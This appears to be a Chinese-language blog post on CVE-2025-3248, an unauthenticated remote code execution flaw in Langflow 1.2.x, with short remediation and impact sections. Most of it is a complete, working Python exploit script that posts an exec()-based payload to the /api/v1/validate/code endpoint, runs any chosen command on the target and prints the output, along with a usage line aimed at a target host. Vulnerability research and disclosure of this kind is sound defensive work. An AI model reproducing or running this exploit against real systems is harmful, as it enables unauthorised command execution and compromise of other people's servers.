Langflow 1.2.x 远程代码执行漏洞(RCE)利用详解

本文详细介绍了Langflow 1.2.x版本中存在的远程代码执行漏洞(CVE-2025-3248),包括漏洞原理、利用方法及PoC代码实现,攻击者可通过未授权访问/api/v1/validate/code端点执行任意系统命令。

Langflow 1.2.x - 远程代码执行(RCE)漏洞利用

漏洞概述

Langflow 1.2.x版本中存在一个严重的远程代码执行漏洞(CVE-2025-3248)。该漏洞源于/api/v1/validate/code端点未对用户输入进行充分验证,直接通过exec()函数执行任意Python代码。攻击者无需身份验证即可利用此漏洞在目标系统上执行任意命令。

漏洞细节

  • 受影响版本:Langflow <= 1.2.x
  • 漏洞类型:远程代码执行(RCE)
  • 攻击复杂度:低(无需认证)
  • CVSS评分:未提供(但属于高危漏洞)

利用原理

攻击者向/api/v1/validate/code端点发送特制的JSON载荷,其中包含通过Python exec()函数执行的系统命令。漏洞利用代码通过构造特殊的函数定义,在函数默认参数中嵌入命令执行逻辑:

1
def run(cd=exec('raise Exception(__import__("subprocess").check_output("id", shell=True))')): pass

当Langflow处理此代码时,会执行exec()函数中的命令,并通过异常消息返回命令输出。

PoC代码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
# 漏洞标题:Langflow 1.2.x - 远程代码执行(RCE)
# 日期:2025-07-11
# 作者:Raghad Abdallah Al-syouf
# 软件主页:https://github.com/logspace-ai/langflow
# 版本:<= 1.2.x
# 测试环境:Ubuntu / Docker
# CVE:CVE-2025-3248

import requests
import argparse
import json
from urllib.parse import urljoin
from colorama import Fore, Style, init
import random

# 初始化颜色输出
init(autoreset=True)
requests.packages.urllib3.disable_warnings()

class LangflowRCE:
    def __init__(self, target_url, timeout=10):
        self.base_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers = {
            "User-Agent": "Langflow-RCE-Scanner",
            "Content-Type": "application/json"
        }
        self.timeout = timeout

    def run_payload(self, command):
        endpoint = urljoin(self.base_url, "/api/v1/validate/code")
        payload = {
            "code": (
                f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
            )
        }

        print(f"{Fore.YELLOW}[+] 向目标发送载荷: {endpoint}")
        try:
            response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
            print(f"{Fore.YELLOW}[+] HTTP 状态码: {response.status_code}")
            if response.status_code == 200:
                try:
                    json_data = response.json()
                    err = json_data.get("function", {}).get("errors", [""])[0]
                    if isinstance(err, str) and err.startswith("b'"):
                        output = err[2:-1].encode().decode("unicode_escape").strip()
                        return output or "[!] 无输出返回"
                except Exception as e:
                    return f"[!] 响应解析错误: {e}"
            return "[!] 目标可能不存在漏洞或已修复"
        except Exception as e:
            return f"[!] 请求失败: {e}"

def main():
    parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x 未授权RCE")
    parser.add_argument("url", help="目标URL (例如: http://localhost:7860)")
    parser.add_argument("cmd", help="要执行的远程命令 (例如: whoami)")
    args = parser.parse_args()

    exploit = LangflowRCE(args.url)
    result = exploit.run_payload(args.cmd)

    print(f"\n{Fore.GREEN}[+] 命令输出:\n{Style.RESET_ALL}{result}")

if __name__ == "__main__":
    main()

使用方法

  1. 确保目标运行Langflow <= 1.2.x
  2. 执行PoC脚本:
1
python3 cve-2025-3248.py http://target:7860 "id"

修复建议

  • 升级到最新版本
  • /api/v1/validate/code端点实施严格的输入验证
  • 避免使用exec()等危险函数处理用户输入
  • 实施适当的身份验证和授权机制

影响评估

此漏洞允许攻击者在受影响系统上执行任意命令,可能导致:

  • 系统完全沦陷
  • 敏感数据泄露
  • 横向移动攻击
  • 持久化后门安装

建议所有Langflow用户立即检查版本并采取相应防护措施。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计